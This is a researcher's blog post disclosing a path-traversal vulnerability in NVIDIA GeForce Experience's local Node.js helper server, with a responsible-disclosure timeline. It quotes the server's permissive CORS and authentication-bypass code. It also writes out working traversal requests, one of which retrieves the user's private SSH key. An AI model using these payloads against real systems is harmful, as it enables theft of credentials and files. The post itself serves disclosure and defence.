odensc

How I discovered a path-traversal vulnerability in NVIDIA GeForce Experience


Background

Whilst clearing space on my drive, I found a folder called NvNode in Program Files (x86)/NVIDIA Corporation.

I was curious what was in it, so I looked and found some Node.js scripts:

A screenshot of Windows File Explorer
File view of NvNode

Initial examination

First I opened index.js, which was an Express application:

...
logger.info('Loading ExpressJS dependency...');
var app = require('./node_modules/express/index.js')();
logger.info('ExpressJS ready');
...

Checking the open ports, there was an open HTTP server from "NVIDIA Web Helper":

An application window showing which ports different executables are actively using
CurrPorts from NirSoft

The port is different on each launch - so it's seemingly random.

After visiting localhost:49612, it responds Security token is invalid - this gives the pretense that the server is secured.

Taking a look at index.js again, a few things can be seen:

app.use(function (req, res, next) {
res.header('Access-Control-Allow-Origin', '*');
if (securityCheckEnabled
&& req.headers.x_local_security_cookie != securityCookie
&& !req.path.startsWith('/VisualOPS/v.1.0/')) {
...
  • It allows cross origin requests from any origin.

  • A securityCookie is required to access the server. This is a randomly generated key stored on the local drive, so that can't be used.

  • The /VisualOPS/v.1.0/ path is accessible without a security cookie.

Further examination

Looking at where the VisualOPS route is defined in NVBackendAPI.js, there are two valid routes defined for that path:

app.get('/VisualOPS/v.1.0/:shortname', [...]
app.get('/VisualOPS/v.1.0/:shortname/:filename', [...]

They both take the parameter shortname, but one additionally takes a filename parameter.

After searching a bit more, I found a folder called AppData/Local/NVIDIA/NvBackend/VisualOPS:

A screenshot of Windows File Explorer
File view of VisualOPS

This folder contains multiple folders for each installed game detected by GeForce Experience.

The way the related routes are set up, it seems as though they are used to access files within the folder.

Testing the theory

A request to the first route, using one of the above folder names as the shortname, returns:

GET 127.0.0.1:49612/VisualOPS/v.1.0/rust
> {"available":true,"ready":true,"manifestURL":"http://localhost:49612/VisualOPS/v.1.0/rust/manifest.json"} >

It returned a path to a manifest.json, taking advantage of the filename parameter of the second path. Therefore, it seems like this filename parameter is used to retrieve a file within the shortname folder.

Let's confirm with a request to the second route using the filename parameter:

GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/rust_001.jpg

A screenshot of a video game
The file requested with `filename`

It responded with the contents of whatever filename was passed.

The vulnerability

Let's try with a URL-encoded filename parameter that traverses backwards:

GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/..%2F..%2Fbackend.log
> 1008-22:47:17.506[I]: Running NVIDIA Backend version 23.0.4.0
> ...

It responded with a file outside of the specified directory! This is a textbook path traversal attack.

Now let's try to traverse all the way back to the user folder:

GET 127.0.0.1:49612/VisualOPS/v.1.0/rust/..%2F..%2F..%2F..%2F..%2F..%2F.ssh/id_rsa
> -----BEGIN RSA PRIVATE KEY-----
> ...

And that worked - it returned my private SSH key.

Proof of Concept

I created a simple website which:

  1. Scans ports in a range.
  2. Finds the correct port for the API from which one responded.
  3. Tries a list of every available "shortname" to see which one the user has.
  4. Downloads the file that is requested.

A screenshot of a web page
The PoC in action

Timeline

  • October 8th, 2016: Vulnerability discovered.
  • October 10th, 2016: Reported to NVIDIA.
  • December 14th, 2016: Security Bulletin published.
  • February 16th, 2017: Published this article.